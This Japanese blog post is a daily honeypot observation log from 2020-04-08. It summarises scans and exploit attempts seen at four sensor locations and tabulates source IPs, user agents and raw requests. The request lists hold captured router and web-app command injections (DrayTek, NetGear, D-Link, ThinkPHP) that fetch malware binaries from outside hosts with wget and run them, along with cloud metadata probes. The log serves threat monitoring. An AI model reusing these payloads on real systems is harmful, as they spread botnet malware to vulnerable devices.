コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2020/04/08 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2020/04/08分です。

特徴
Location：JP

DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
polaris botnetによるスキャン行為
XTCによるスキャン行為
XTC BOTNETによるスキャン行為
zgrabによるスキャン行為
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  194.15.36.96/jaws;
sh /tmp/jaws
Location：US

DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
polaris botnetによるスキャン行為
XTCによるスキャン行為
XTC BOTNETによるスキャン行為
zgrabによるスキャン行為
Apache Solrへのスキャン行為
を確認しました。

Location：UK

DrayTek製品の脆弱性を狙うアクセス
D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
polaris botnetによるスキャン行為
tboxによるスキャン行為
XTCによるスキャン行為
XTC BOTNETによるスキャン行為
zgrabによるスキャン行為
Apache Tomcatへのスキャン行為
phpMyAdminへのスキャン行為
110[.]249[.]212[.]46に関する不正通信
5[.]188[.]210[.]101に関する不正通信
112[.]124[.]42[.]80に関する不正通信
を確認しました。

Location：SG

DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
polaris botnetによるスキャン行為
XTC BOTNETによるスキャン行為
zgrabによるスキャン行為
phpMyAdminへのスキャン行為
UserAgentがHello, Worldであるアクセス
を確認しました。

他
アクセス数推移

JP：総アクセス数：50 (前日比：-8)
US：総アクセス数：45 (前日比：-20)
UK：総アクセス数：45 (前日比：+28)
SG：総アクセス数：117 (前日比：+92)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 13.77.107.52 United States
1 35.233.104.68 United States
34 44.225.84.206 United States
1 60.248.124.224 Taiwan
1 81.182.4.51 Hungary
1 96.74.173.234 United States
3 105.159.249.53 Morocco
1 117.82.189.223 China
1 122.116.201.171 Taiwan
1 181.143.101.194 Colombia
1 185.220.100.247 Germany
1 192.241.237.214 United States
1 192.241.239.9 United States
1 201.182.241.217 Ecuador
1 203.82.206.172 Bangladesh

UserAgent一覧

件数 UserAgent
24 -
14 AWS Security Scanner
3 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1 Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
3 Mozilla/5.0 zgrab/0.x
1 XTC
1 XTC BOTNET
3 polaris botnet

リクエスト内容一覧

件数 Method Request Protocol
10 \x16\x03\x01
10 CONNECT 18[.]179[.]20[.]5:80 HTTP/1.0
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /is-sending%3C%7C%3EC:/AAAA HTTP/1.1
4 GET /latest/dynamic/instance-identity/document HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+ 194.15.36.96/jaws;sh+/tmp/jaws
1 GET /thinkphp/html/public/index.php HTTP/1.1
2 GET http://[::ffff:a9fe:a9fe]/ HTTP/1.1
2 GET http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document HTTP/1.1
2 GET http[:]//169[.]254[.]169[.]254/ HTTP/1.1
2 GET http[:]//169[.]254[.]169[.]254/latest/dynamic/instance-identity/document HTTP/1.1
1 GET http[:]//169[.]254[.]169[.]254/latest/meta-data/ HTTP/1.1
2 GET http[:]//example[.]com/ HTTP/1.1
1 HEAD /robots.txt HTTP/1.0
3 POST /boaform/admin/formPing HTTP/1.1
3 POST /cgi-bin/mainfunction.cgi HTTP/1.1
1 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//192[.]3[.]45[.]185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
2 5.8.10.202 Russia
6 5.101.0.209 Russia
1 24.96.212.159 United States
1 34.77.196.185 United States
10 61.153.110.83 China
1 61.219.11.153 Taiwan
1 71.78.192.34 United States
1 73.138.44.49 United States
1 79.129.58.48 Greece
2 81.82.247.71 Belgium
1 85.93.20.62 Germany
2 91.199.118.136 Germany
1 138.197.130.139 United States
1 162.243.129.87 United States
1 167.250.194.17 Costa Rica
1 169.197.108.42 United States
10 190.107.19.181 Colombia
1 198.179.75.110 United States
1 223.149.242.93 China

UserAgent一覧

件数 UserAgent
8 -
6 Go-http-client/1.1
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
6 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
18 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
2 Mozilla/5.0 zgrab/0.x
1 XTC
2 XTC BOTNET
1 polaris botnet

リクエスト内容一覧

件数 Method Request Protocol
2 -
1 \x03
2 CONNECT www[.]gstatic[.]com/:443 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
2 GET /TP/html/public/index.php HTTP/1.1
2 GET /TP/index.php HTTP/1.1
2 GET /TP/public/index.php HTTP/1.1
1 GET /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
1 GET /db HTTP/1.1
2 GET /elrekt.php HTTP/1.1
2 GET /html/public/index.php HTTP/1.1
3 GET /index.php HTTP/1.1
1 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP HTTP/1.1
2 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 HTTP/1.1
1 GET /is-sending%3C%7C%3EC:/AAAA HTTP/1.1
1 GET /portal/redlion HTTP/1.1
2 GET /public/index.php HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /xaa HTTP/1.1
1 POST /boaform/admin/formPing HTTP/1.1
4 POST /cgi-bin/mainfunction.cgi HTTP/1.1
2 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//19ce033f[.]ngrok[.]io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
2 POST /index.php?s=captcha HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 5.8.10.202 Russia
2 5.101.0.209 Russia
1 5.182.211.230 Netherlands
1 5.188.210.101 Russia
1 8.42.79.215 United States
1 14.161.32.122 Vietnam
2 41.141.230.123 Morocco
1 47.206.160.250 United States
1 49.233.180.152 China
1 60.191.52.254 China
1 65.36.10.248 United States
1 67.200.232.243 United States
1 69.80.31.143 Saint Lucia
1 85.93.20.62 Germany
1 86.98.89.240 United Arab Emirates
2 91.199.118.136 Germany
4 94.102.49.190 Netherlands
1 104.155.91.237 United States
5 110.249.212.46 China
1 116.88.138.34 Singapore
1 123.24.205.232 Vietnam
1 162.243.129.191 United States
1 162.243.133.47 United States
5 165.22.84.3 United States
1 173.246.65.22 Canada
1 183.193.234.186 China
1 190.231.67.145 Argentina
1 192.241.238.153 United States
1 194.135.39.84 Russia
1 194.180.224.249 United Kingdom
1 201.184.225.146 Colombia

UserAgent一覧

件数 UserAgent
20 -
3 Go-http-client/1.1
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.162 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
4 Mozilla/5.0 zgrab/0.x
1 XTC
3 XTC BOTNET
2 polaris botnet
1 python-requests/2.23.0
1 tbox/2.0

リクエスト内容一覧

件数 Method Request Protocol
2
1 \x03
2 CONNECT www[.]gstatic[.]com/:443 HTTP/1.1
1 GET /.well-known/security.txt HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
1 GET /admin/scripts/setup.php HTTP/1.0
1 GET /db/scripts/setup.php HTTP/1.0
1 GET /favicon.ico HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /is-sending%3C%7C%3EC:/AAAA HTTP/1.1
1 GET /login.cgi?cli=aa%20aa%27;wget%20http[:]//37[.]49[.]226[.]140/luoqxbocmkxnexy/tbox.mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1
1 GET /manager/html HTTP/1.1
1 GET /myadmin/scripts/setup.php HTTP/1.0
1 GET /phpmyadmin/scripts/setup.php HTTP/1.0
1 GET /portal/redlion HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /scripts/setup.php HTTP/1.0
1 GET /sitemap.xml HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /xaa HTTP/1.1
5 GET http[:]//110[.]249[.]212[.]46/testget?q=23333&port=80 HTTP/1.1
1 GET http[:]//5[.]188[.]210[.]101/echo.php HTTP/1.1
1 HEAD http[:]//112[.]124[.]42[.]80:63435/ HTTP/1.1
2 POST /boaform/admin/formPing HTTP/1.1
4 POST /cgi-bin/mainfunction.cgi HTTP/1.1
5 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//192[.]3[.]45[.]185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
4 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//19ce033f[.]ngrok[.]io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 5.8.10.202 Russia
1 5.182.211.230 Netherlands
1 12.192.193.69 United States
1 34.77.65.43 United States
1 42.239.219.150 China
1 47.6.97.12 United States
1 61.219.11.153 Taiwan
1 76.99.33.85 United States
101 86.19.50.17 United Kingdom
1 96.67.150.142 United States
3 113.54.204.48 China
1 162.243.128.39 United States
1 162.243.129.160 United States
1 203.189.85.109 Australia
1 208.80.208.100 United States

UserAgent一覧

件数 UserAgent
8 -
1 Go-http-client/1.1
1 Hello, World
101 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
3 Mozilla/5.0 zgrab/0.x
1 XTC BOTNET
2 polaris botnet

リクエスト内容一覧

件数 Method Request Protocol
1
1 -
3 GET /?s=/index/ hink
1 GET /hudson HTTP/1.1
1 GET /is-sending%3C%7C%3EC:/AAAA HTTP/1.1
101 GET /phpmyadmin/ HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /xaa HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
2 POST /boaform/admin/formPing HTTP/1.1
1 POST /cgi-bin/mainfunction.cgi HTTP/1.1
1 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//192[.]3[.]45[.]185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1
2 POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//19ce033f[.]ngrok[.]io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1